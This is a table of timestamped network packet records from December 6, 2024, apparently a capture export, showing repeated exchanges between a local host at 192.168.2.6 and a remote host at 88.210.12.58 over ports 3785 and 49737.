Dec 6, 2024 10:41:33.287545919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.373622894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.388566971 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.469847918 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.493333101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.569818974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.590178967 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.670761108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.689506054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.770873070 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.791819096 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.871788025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.890702963 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:33.972799063 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:33.991571903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.073769093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.093045950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.177649975 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.193660975 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.277622938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.297405958 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.377624989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.398569107 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.477396011 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.497397900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.576831102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.597160101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.677618980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.696667910 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.777637005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.797540903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.876775026 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:34.899446011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:34.981167078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.021907091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.079641104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.177783966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.259046078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.259371996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.278758049 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.297648907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.379826069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.398500919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.479819059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.499624014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.579817057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.599627972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.680814981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.699561119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.780786037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.802494049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.881911993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:35.900515079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:35.981831074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.001645088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.082825899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.101644993 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.185657024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.202649117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.285645962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.305486917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.382796049 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.405401945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.485686064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.502628088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.583820105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.605777979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.685635090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.703684092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.785654068 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.805460930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.885828018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:36.905363083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:36.988904953 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.005619049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.085803986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.108762980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.185870886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.206306934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.286870003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.308985949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.386816025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.406733036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.486918926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.506506920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.587811947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.610493898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.687794924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.707541943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.787781000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.807887077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.888817072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:37.909682989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:37.989784956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.008522987 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.090830088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.111813068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.191766977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.210536957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.291810989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.311712027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.391840935 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.411767960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.491801977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.511529922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.596052885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.611535072 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.693793058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.715734005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.794830084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.813627005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.895807981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:38.915087938 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:38.995946884 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.015531063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.095828056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.115756989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.195868969 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.215599060 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.295804024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.315689087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.395817041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.415584087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.496855021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.515950918 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.596827030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.616570950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.696851015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.716629028 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.797832966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.816534996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.898020983 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:39.917593956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:39.997839928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.017724037 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.098858118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.119170904 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.199017048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.218641043 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.299807072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.318821907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.400796890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.420131922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.503786087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.521137953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.600802898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.624485016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.703676939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.720609903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.801804066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.823523998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:40.901801109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:40.921621084 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.001863956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.021569014 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.105663061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.123625994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.203852892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.225513935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.303879023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.324368954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.404802084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.423527956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.504827023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.524504900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.605819941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.624717951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.705842018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.725558043 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.806794882 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.826931000 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:41.906841993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:41.926613092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.006833076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.026505947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.107846022 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.127403021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.208499908 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.228357077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.311769009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.328197956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.408828974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.431514025 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.508969069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.528521061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.611301899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.628695965 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.709973097 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.731154919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.811811924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.831044912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:42.917690039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:42.931462049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.012006044 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.037365913 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.112819910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.131670952 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.212841988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.232682943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.312844038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.332746029 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.413984060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.432605982 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.513844013 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.533802986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.614845037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.634200096 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.714862108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.734695911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.822978020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.834681988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:43.936522961 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:43.942678928 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.056269884 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.237694025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.336877108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.357446909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.436904907 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.456693888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.537862062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.556754112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.637881994 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.657731056 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.738886118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.757661104 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.840073109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.858757019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:44.941056967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:44.959856033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.041941881 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.060847044 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.141938925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.161760092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.242835999 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.263130903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.342860937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.363042116 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.443852901 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.462688923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.544851065 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.563592911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.644891977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.664616108 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.744831085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.764630079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.845815897 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.864547968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:45.946829081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:45.966026068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.047857046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:46.069928885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.148096085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:46.167668104 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.248066902 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:46.267914057 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.348841906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:46.367860079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.452081919 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:46.468619108 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.559103966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:46.571943045 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.678953886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:46.964925051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.065849066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.085315943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.165826082 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.185729027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.266571045 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.285623074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.367878914 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.387012959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.468872070 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.487737894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.569875002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.588645935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.670922041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.690143108 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.771852970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.790766954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.871855021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.891622066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:47.971884966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:47.991710901 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.071887970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.091734886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.172874928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.191931009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.273035049 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.292941093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.372849941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.392770052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.473848104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.492638111 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.573857069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.593621016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.674865961 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.693659067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.775870085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.794743061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.877715111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.895687103 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:48.977725029 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:48.997565031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.077893019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.097363949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.177911043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.197788000 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.279839993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.297704935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.380891085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.399643898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.481045961 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.500643969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.581864119 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.600769043 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.681875944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.703954935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.782905102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.801629066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.882879019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:49.902693033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:49.982902050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.003762960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.083870888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.102684021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.183855057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.284873009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.303123951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.387953997 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.423306942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.423418045 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.488404989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.514339924 CET	3785	49737	88.210.12.58	192.168.2.6
